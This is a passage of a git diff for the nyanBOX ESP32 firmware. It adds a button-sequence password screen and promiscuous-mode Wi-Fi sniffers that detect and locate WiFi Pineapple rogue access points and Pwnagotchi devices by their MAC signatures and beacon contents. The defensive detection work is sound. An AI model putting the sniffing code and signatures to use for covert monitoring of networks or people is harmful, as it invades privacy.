== LOW; + + uint8_t pressed = 0; + bool selPressed = false; + + if (upNow != upPrev && now - upT > db) { + upT = now; upPrev = upNow; + if (upNow) pressed = 1; + } + if (downNow != downPrev && now - downT > db) { + downT = now; downPrev = downNow; + if (downNow) pressed = 2; + } + if (leftNow != leftPrev && now - leftT > db) { + leftT = now; leftPrev = leftNow; + if (leftNow) pressed = 3; + } + if (rightNow != rightPrev && now - rightT > db) { + rightT = now; rightPrev = rightNow; + if (rightNow) pressed = 4; + } + if (selNow != selPrev && now - selT > db) { + selT = now; selPrev = selNow; + if (selNow) selPressed = true; + } + + if (pressed && enteredLen < PW_MAX_LEN) { + entered[enteredLen++] = pressed; + drawPasswordScreen("nyanBOX", enteredLen, false); + } + + if (selPressed) { + bool correct = (enteredLen == storedLen); + for (int i = 0; i < (int)storedLen && correct; i++) { + if (entered[i] != stored[i]) correct = false; + } + if (correct) { + while (anyButtonPressed()) { delay(10); } + delay(50); + return; + } + drawPasswordScreen("nyanBOX", enteredLen, true); + delay(1500); + enteredLen = 0; + drawPasswordScreen("nyanBOX", enteredLen, false); + } + + delay(10); + } +} + +static void drawArrowGlyph(int x, int y, uint8_t dir) { + switch (dir) { + case 1: u8g2.drawTriangle(x+4, y, x, y+6, x+8, y+6); break; + case 2: u8g2.drawTriangle(x+4, y+6, x, y, x+8, y ); break; + case 3: u8g2.drawTriangle(x, y+3, x+8, y, x+8, y+6); break; + case 4: u8g2.drawTriangle(x+8, y+3, x, y, x, y+6); break; + } +} + +static void drawSetPasswordScreen(uint8_t* seq, uint8_t len) { + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_helvB14_tr); + const char* title = "nyanBOX"; + u8g2.setCursor((128 - u8g2.getUTF8Width(title)) / 2, 16); + u8g2.print(title); + + u8g2.setFont(u8g2_font_helvR08_tr); + + const char* sub = "Set Password"; + u8g2.setCursor((128 - u8g2.getUTF8Width(sub)) / 2, 30); + u8g2.print(sub); + + { + const int AW = 9, AG = 4; + int totalW = PW_MAX_LEN * AW + (PW_MAX_LEN - 1) * AG; + int sx = (128 - totalW) / 2; + int sy = 37; + for (int i = 0; i < PW_MAX_LEN; i++) { + int ax = sx + i * (AW + AG); + if (i < (int)len) { + drawArrowGlyph(ax, sy, seq[i]); + } else { + u8g2.drawHLine(ax + 2, sy + 3, 5); + } + } + } + + const char* hint = len == 0 ? "SELECT to cancel" : "SELECT to save"; + u8g2.setCursor((128 - u8g2.getUTF8Width(hint)) / 2, 60); + u8g2.print(hint); + + u8g2.sendBuffer(); +} + +void setPasswordInSettings() { + bool upPrev = false, downPrev = false, leftPrev = false, rightPrev = false, selPrev = false; + unsigned long upT = 0, downT = 0, leftT = 0, rightT = 0, selT = 0; + const unsigned long db = 200; + + uint8_t seq[PW_MAX_LEN]; + uint8_t seqLen = 0; + + while (digitalRead(BUTTON_PIN_UP) == LOW || + digitalRead(BUTTON_PIN_DOWN) == LOW || + digitalRead(BUTTON_PIN_LEFT) == LOW || + digitalRead(BUTTON_PIN_RIGHT) == LOW || + digitalRead(BUTTON_PIN_CENTER) == LOW) { delay(10); } + delay(50); + + drawSetPasswordScreen(seq, seqLen); + + while (true) { + checkIdle(); + if (anyButtonPressed()) updateLastActivity(); + + unsigned long now = millis(); + bool upNow = digitalRead(BUTTON_PIN_UP) == LOW; + bool downNow = digitalRead(BUTTON_PIN_DOWN) == LOW; + bool leftNow = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool rightNow = digitalRead(BUTTON_PIN_RIGHT) == LOW; + bool selNow = digitalRead(BUTTON_PIN_CENTER) == LOW; + + uint8_t pressed = 0; + bool selPressed = false; + + if (upNow != upPrev && now - upT > db) { + upT = now; upPrev = upNow; + if (upNow) pressed = 1; + } + if (downNow != downPrev && now - downT > db) { + downT = now; downPrev = downNow; + if (downNow) pressed = 2; + } + if (leftNow != leftPrev && now - leftT > db) { + leftT = now; leftPrev = leftNow; + if (leftNow) pressed = 3; + } + if (rightNow != rightPrev && now - rightT > db) { + rightT = now; rightPrev = rightNow; + if (rightNow) pressed = 4; + } + if (selNow != selPrev && now - selT > db) { + selT = now; selPrev = selNow; + if (selNow) selPressed = true; + } + + if (pressed && seqLen < PW_MAX_LEN) { + seq[seqLen++] = pressed; + drawSetPasswordScreen(seq, seqLen); + } + + if (selPressed) { + if (seqLen > 0) { + for (int i = 0; i < (int)seqLen; i++) { + EEPROM.write(EEPROM_ADDR_PW_SEQ + i, seq[i]); + } + if (seqLen < PW_MAX_LEN) { + EEPROM.write(EEPROM_ADDR_PW_SEQ + seqLen, 0x00); + } + EEPROM.commit(); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_helvB14_tr); + const char* t = "nyanBOX"; + u8g2.setCursor((128 - u8g2.getUTF8Width(t)) / 2, 16); + u8g2.print(t); + u8g2.setFont(u8g2_font_helvR08_tr); + const char* msg = "Password saved"; + u8g2.setCursor((128 - u8g2.getUTF8Width(msg)) / 2, 38); + u8g2.print(msg); + u8g2.sendBuffer(); + delay(1000); + } + while (digitalRead(BUTTON_PIN_CENTER) == LOW) { delay(10); } + delay(50); + return; + } + + delay(10); + } +} diff --git a/cyd-port/src/pineapple_detector.cpp b/cyd-port/src/pineapple_detector.cpp new file mode 100644 index 0000000..1f5b5c4 --- /dev/null +++ b/cyd-port/src/pineapple_detector.cpp @@ -0,0 +1,647 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pineapple_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +struct PineappleDeviceData { + char ssid[33]; + char bssid[18]; + int8_t rssi; + uint8_t channel; + unsigned long lastSeen; + char authMode[20]; +}; + +static std::vector pineappleDevices; + +const int MAX_DEVICES = 100; + +static int currentIndex = 0; +static int listStartIndex = 0; +static bool isDetailView = false; +static bool isLocateMode = false; +static char locateTargetBSSID[18] = {0}; +static uint8_t locateTargetChannel = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8000; +static unsigned long scanStartTime = 0; + +static bool wifiInitialized = false; +static bool scanCompleted = false; + +static uint8_t current_channel = 1; +static unsigned long last_channel_hop = 0; +const unsigned long CHANNEL_HOP_INTERVAL = 500; +const uint8_t MAX_CHANNEL = 13; + +static bool check_pineapple_oui(const char* bssid_str) { + if (strlen(bssid_str) < 8) return false; + return (strncasecmp(&bssid_str[3], "13", 2) == 0) && + (strncasecmp(&bssid_str[6], "37", 2) == 0); +} + +static void hop_channel() { + unsigned long now = millis(); + if (now - last_channel_hop > CHANNEL_HOP_INTERVAL) { + current_channel++; + if (current_channel > MAX_CHANNEL) { + current_channel = 1; + } + esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE); + last_channel_hop = now; + } +} + +static const char* getSecurityFromBeacon(const uint8_t *frame, int len) { + if (len < 36) return "Open"; + + uint16_t capabilities = (frame[35] << 8) | frame[34]; + bool privacyEnabled = (capabilities & 0x0010) != 0; + + if (!privacyEnabled) return "Open"; + + int offset = 36; + bool hasRSN = false; + bool hasWPA = false; + + while (offset + 2 <= len) { + uint8_t tag = frame[offset]; + uint8_t tag_len = frame[offset + 1]; + + if (offset + 2 + tag_len > len) break; + + if (tag == 48) { + hasRSN = true; + if (tag_len >= 8) { + int akm_offset = offset + 2 + 6; + if (akm_offset + 4 <= offset + 2 + tag_len) { + if (frame[akm_offset + 3] == 0x08) { + return "WPA3-PSK"; + } + } + } + } + + if (tag == 221 && tag_len >= 4) { + if (frame[offset + 2] == 0x00 && + frame[offset + 3] == 0x50 && + frame[offset + 4] == 0xF2 && + frame[offset + 5] == 0x01) { + hasWPA = true; + } + } + + offset += 2 + tag_len; + } + + if (hasRSN && hasWPA) return "WPA/WPA2"; + if (hasRSN) return "WPA2-PSK"; + if (hasWPA) return "WPA-PSK"; + if (privacyEnabled) return "WEP"; + + return "Open"; +} + +static void addOrUpdatePineappleDevice(const char* ssid, const char* bssid, int8_t rssi, uint8_t channel, const char* authMode) { + if (isLocateMode && strlen(locateTargetBSSID) > 0) { + if (strcmp(bssid, locateTargetBSSID) != 0) { + return; + } + } else if (pineappleDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < pineappleDevices.size(); i++) { + if (strcmp(pineappleDevices[i].bssid, bssid) == 0) { + pineappleDevices[i].rssi = rssi; + pineappleDevices[i].lastSeen = millis(); + pineappleDevices[i].channel = channel; + + if (ssid && ssid[0] != '\0') { + strncpy(pineappleDevices[i].ssid, ssid, 32); + pineappleDevices[i].ssid[32] = '\0'; + } + + if (authMode && strlen(authMode) > 0) { + strncpy(pineappleDevices[i].authMode, authMode, sizeof(pineappleDevices[i].authMode) - 1); + pineappleDevices[i].authMode[sizeof(pineappleDevices[i].authMode) - 1] = '\0'; + } + + if (!isLocateMode) { + std::sort(pineappleDevices.begin(), pineappleDevices.end(), + [](const PineappleDeviceData &a, const PineappleDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + PineappleDeviceData newDev = {}; + if (ssid && ssid[0] != '\0') { + strncpy(newDev.ssid, ssid, 32); + newDev.ssid[32] = '\0'; + } else { + newDev.ssid[0] = '\0'; + } + strncpy(newDev.bssid, bssid, 17); + newDev.bssid[17] = '\0'; + newDev.rssi = rssi; + newDev.channel = channel; + newDev.lastSeen = millis(); + + if (authMode && strlen(authMode) > 0) { + strncpy(newDev.authMode, authMode, sizeof(newDev.authMode) - 1); + newDev.authMode[sizeof(newDev.authMode) - 1] = '\0'; + } else { + strncpy(newDev.authMode, "Unknown", sizeof(newDev.authMode) - 1); + newDev.authMode[sizeof(newDev.authMode) - 1] = '\0'; + } + + pineappleDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(pineappleDevices.begin(), pineappleDevices.end(), + [](const PineappleDeviceData &a, const PineappleDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void IRAM_ATTR wifi_sniffer_packet_handler(void* buff, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + + const wifi_promiscuous_pkt_t *ppkt = (wifi_promiscuous_pkt_t *)buff; + const uint8_t *frame = ppkt->payload; + int len = ppkt->rx_ctrl.sig_len; + + if (len <= 4) + return; + len -= 4; + + uint8_t frameType = frame[0]; + uint8_t frameSubtype = (frameType & 0xF0); + + if (frameSubtype != 0x80 && frameSubtype != 0x40 && frameSubtype != 0x50) { + return; + } + + char bssidStr[18]; + snprintf(bssidStr, sizeof(bssidStr), "%02x:%02x:%02x:%02x:%02x:%02x", + frame[10], frame[11], frame[12], frame[13], frame[14], frame[15]); + + if (!check_pineapple_oui(bssidStr)) { + return; + } + + char ssid[33] = {0}; + uint8_t channel = ppkt->rx_ctrl.channel; + + int offset = 24; + if (frameSubtype == 0x80) { + offset += 12; + } + + while (offset + 2 <= len) { + uint8_t tag = frame[offset]; + uint8_t tag_len = frame[offset + 1]; + + if (offset + 2 + tag_len > len) + break; + + if (tag == 0) { + if (tag_len > 0 && tag_len <= 32) { + memcpy(ssid, &frame[offset + 2], tag_len); + ssid[tag_len] = '\0'; + } + } + + if (tag == 3 && tag_len == 1) { + channel = frame[offset + 2]; + } + + offset += 2 + tag_len; + } + + const char* authMode = (frameSubtype == 0x80) ? getSecurityFromBeacon(frame, len) : "Unknown"; + + addOrUpdatePineappleDevice(ssid, bssidStr, ppkt->rx_ctrl.rssi, channel, authMode); +} + +void pineappleDetectorSetup() { + pineappleDevices.clear(); + pineappleDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + lastButtonPress = 0; + isScanning = true; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + scanStartTime = 0; + scanCompleted = false; + wifiInitialized = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + + wifiInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + + scanStartTime = millis(); + lastScanTime = millis(); + current_channel = 1; + last_channel_hop = millis(); +} + +void pineappleDetectorLoop() { + unsigned long now = millis(); + + unsigned long effectiveScanDuration = scanDuration; + unsigned long effectiveScanInterval = scanInterval; + + if (pineappleDevices.empty() && isContinuousScanEnabled() && scanCompleted) { + effectiveScanDuration = 3000; + effectiveScanInterval = 500; + } + + if (!scanCompleted || isLocateMode) { + hop_channel(); + } + + bool shouldShowScanScreen = !scanCompleted || (pineappleDevices.empty() && isContinuousScanEnabled()); + + if (shouldShowScanScreen && !isDetailView && !isLocateMode && !scanCompleted) { + unsigned long elapsed = now - scanStartTime; + + if (elapsed >= effectiveScanDuration) { + scanCompleted = true; + lastScanTime = now; + esp_wifi_set_promiscuous(false); + needsRedraw = true; + } else { + if ((lastDeviceCount != (int)pineappleDevices.size() || wasScanning != isScanning) || (now - lastLocateUpdate >= 100)) { + lastDeviceCount = (int)pineappleDevices.size(); + wasScanning = isScanning; + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Pineapple Detector"); + + char scanStr[32]; + snprintf(scanStr, sizeof(scanStr), "WiFi CH:%d", current_channel); + u8g2.drawStr(0, 22, scanStr); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)pineappleDevices.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + if (scanCompleted && now - lastScanTime > effectiveScanInterval && !isDetailView && !isLocateMode) { + if (pineappleDevices.size() >= MAX_DEVICES) { + std::sort(pineappleDevices.begin(), pineappleDevices.end(), + [](const PineappleDeviceData &a, const PineappleDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + pineappleDevices.erase(pineappleDevices.begin(), + pineappleDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + + scanCompleted = false; + scanStartTime = now; + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)pineappleDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !pineappleDevices.empty()) { + isDetailView = true; + esp_wifi_set_promiscuous(false); + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !pineappleDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetBSSID, pineappleDevices[currentIndex].bssid, sizeof(locateTargetBSSID) - 1); + locateTargetBSSID[sizeof(locateTargetBSSID) - 1] = '\0'; + locateTargetChannel = pineappleDevices[currentIndex].channel; + + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + current_channel = 1; + last_channel_hop = millis(); + + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + esp_wifi_set_promiscuous(false); + + lastButtonPress = now; + lastScanTime = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (pineappleDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + } else { + currentIndex = constrain(currentIndex, 0, (int)pineappleDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)pineappleDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (pineappleDevices.empty() && scanCompleted && now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (pineappleDevices.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Pineapple Detector"); + u8g2.drawStr(0, 22, "Scanning..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", 0); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No Pineapples"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = pineappleDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + const char* displaySSID = (dev.ssid[0] == '\0') ? "Hidden" : dev.ssid; + char maskedSSID[33]; + if (dev.ssid[0] != '\0') { + maskName(dev.ssid, maskedSSID, sizeof(maskedSSID) - 1); + displaySSID = maskedSSID; + } + snprintf(buf, sizeof(buf), "%.13s Ch:%d", displaySSID, locateTargetChannel); + u8g2.drawStr(0, 8, buf); + + char maskedBSSID[18]; + maskMAC(dev.bssid, maskedBSSID); + snprintf(buf, sizeof(buf), "%s", maskedBSSID); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = pineappleDevices[currentIndex]; + char buf[40]; + + const char* displaySSID = (dev.ssid[0] == '\0') ? "Hidden" : dev.ssid; + char maskedSSID[33]; + if (dev.ssid[0] != '\0') { + maskName(dev.ssid, maskedSSID, sizeof(maskedSSID) - 1); + displaySSID = maskedSSID; + } + snprintf(buf, sizeof(buf), "SSID: %s", displaySSID); + u8g2.drawStr(0, 10, buf); + + char maskedBSSID[18]; + maskMAC(dev.bssid, maskedBSSID); + snprintf(buf, sizeof(buf), "BSSID: %s", maskedBSSID); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Ch: %d Auth: %s", dev.channel, dev.authMode); + u8g2.drawStr(0, 40, buf); + + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 50, buf); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "Pineapple: %d/%d", + (int)pineappleDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)pineappleDevices.size()) + break; + auto &d = pineappleDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displaySSID = (d.ssid[0] == '\0') ? "Hidden" : d.ssid; + char maskedSSID[33]; + if (d.ssid[0] != '\0') { + maskName(d.ssid, maskedSSID, sizeof(maskedSSID) - 1); + displaySSID = maskedSSID; + } + snprintf(line, sizeof(line), "%.8s | RSSI %d", + displaySSID, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/pwnagotchi_detector.cpp b/cyd-port/src/pwnagotchi_detector.cpp new file mode 100644 index 0000000..fb913b2 --- /dev/null +++ b/cyd-port/src/pwnagotchi_detector.cpp @@ -0,0 +1,374 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pwnagotchi_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_SELECT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT + +struct PwnagotchiData { + String name; + String version; + int pwnd; + bool deauth; + int uptime; + int channel; + int rssi; +}; +static std::vector pwnagotchi; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +String locateTargetName = ""; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static const uint8_t channels[] = {1, 6, 11}; +static const int numChannels = sizeof(channels) / sizeof(channels[0]); +static int currentChannelIndex = 0; +static uint32_t lastHop = 0; +static bool wifiWasInitialized = false; + +static bool needsRedraw = true; +static int lastPwnagotchiSize = 0; +static int lastCurrentIndex = -1; +static int lastListStartIndex = -1; +static bool lastIsDetailView = false; +static bool lastIsLocateMode = false; +static unsigned long lastPeriodicUpdate = 0; +const unsigned long periodicUpdateInterval = 1000; + +void IRAM_ATTR pwnagotchiSnifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + + auto *pkt = reinterpret_cast(buf); + const uint8_t *pl = pkt->payload; + int len = pkt->rx_ctrl.sig_len; + if (len <= 4) + return; // Too short + len -= 4; // Strip the FCS + if (len < 38 || pl[0] != 0x80) + return; // Not a beacon + + // Filter using the Pwnagotchi MAC (Addr #2 at offset 10) + char addr[18]; + snprintf(addr, sizeof(addr), "%02x:%02x:%02x:%02x:%02x:%02x", pl[10], pl[11], + pl[12], pl[13], pl[14], pl[15]); + if (String(addr) != "de:ad:be:ef:de:ad") + return; + + // Extract the SSID IE (offset 38, length = len - 37) + int ssidLen = len - 37; + if (ssidLen <= 0) + return; + + String essid; + for (int i = 0; i < ssidLen; ++i) { + char c = (char)pl[38 + i]; + if (c == '\0') + break; + essid.concat(c); + } + + JsonDocument doc; // Adjusts automatically on ArduinoJson v7 (if changed to v6, use 1024) + if (deserializeJson(doc, essid)) + return; + + const char *jsName = doc["name"]; + const char *jsVer = doc["version"]; + + if (!jsName || !jsVer || strlen(jsName) == 0 || strlen(jsVer) == 0) + return; + + int jsPwnd = doc["pwnd_tot"]; + bool jsDeauth = doc["policy"]["deauth"]; + int jsUptime = doc["uptime"]; + int ch = pkt->rx_ctrl.channel; + int rssi = pkt->rx_ctrl.rssi; + + if (isLocateMode && locateTargetName.length() > 0) { + if (String(jsName) != locateTargetName) { + return; + } + } + + for (auto &e : pwnagotchi) { + if (e.name == jsName) { + e.version = jsVer; + e.pwnd = jsPwnd; + e.deauth = jsDeauth; + e.uptime = jsUptime; + e.channel = ch; + e.rssi = rssi; + needsRedraw = true; + return; + } + } + + if (!isLocateMode) { + pwnagotchi.push_back( + {String(jsName), String(jsVer), jsPwnd, jsDeauth, jsUptime, ch, rssi}); + needsRedraw = true; + } +} + +void pwnagotchiDetectorSetup() { + pwnagotchi.clear(); + currentIndex = 0; + listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + locateTargetName = ""; + lastButtonPress = 0; + + needsRedraw = true; + lastPwnagotchiSize = 0; + lastCurrentIndex = -1; + lastListStartIndex = -1; + lastIsDetailView = false; + lastIsLocateMode = false; + lastPeriodicUpdate = 0; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + initWiFi(WIFI_MODE_STA); + + esp_wifi_set_ps(WIFI_PS_NONE); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + + esp_wifi_set_promiscuous_rx_cb(&pwnagotchiSnifferCallback); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous(true); + + esp_wifi_set_channel(channels[currentChannelIndex], WIFI_SECOND_CHAN_NONE); + lastHop = millis(); +} + +void pwnagotchiDetectorLoop() { + unsigned long now = millis(); + + if (now - lastHop > 1000) { + currentChannelIndex = (currentChannelIndex + 1) % numChannels; + esp_wifi_set_channel(channels[currentChannelIndex], WIFI_SECOND_CHAN_NONE); + lastHop = now; + } + + if (now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)pwnagotchi.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_SELECT) == 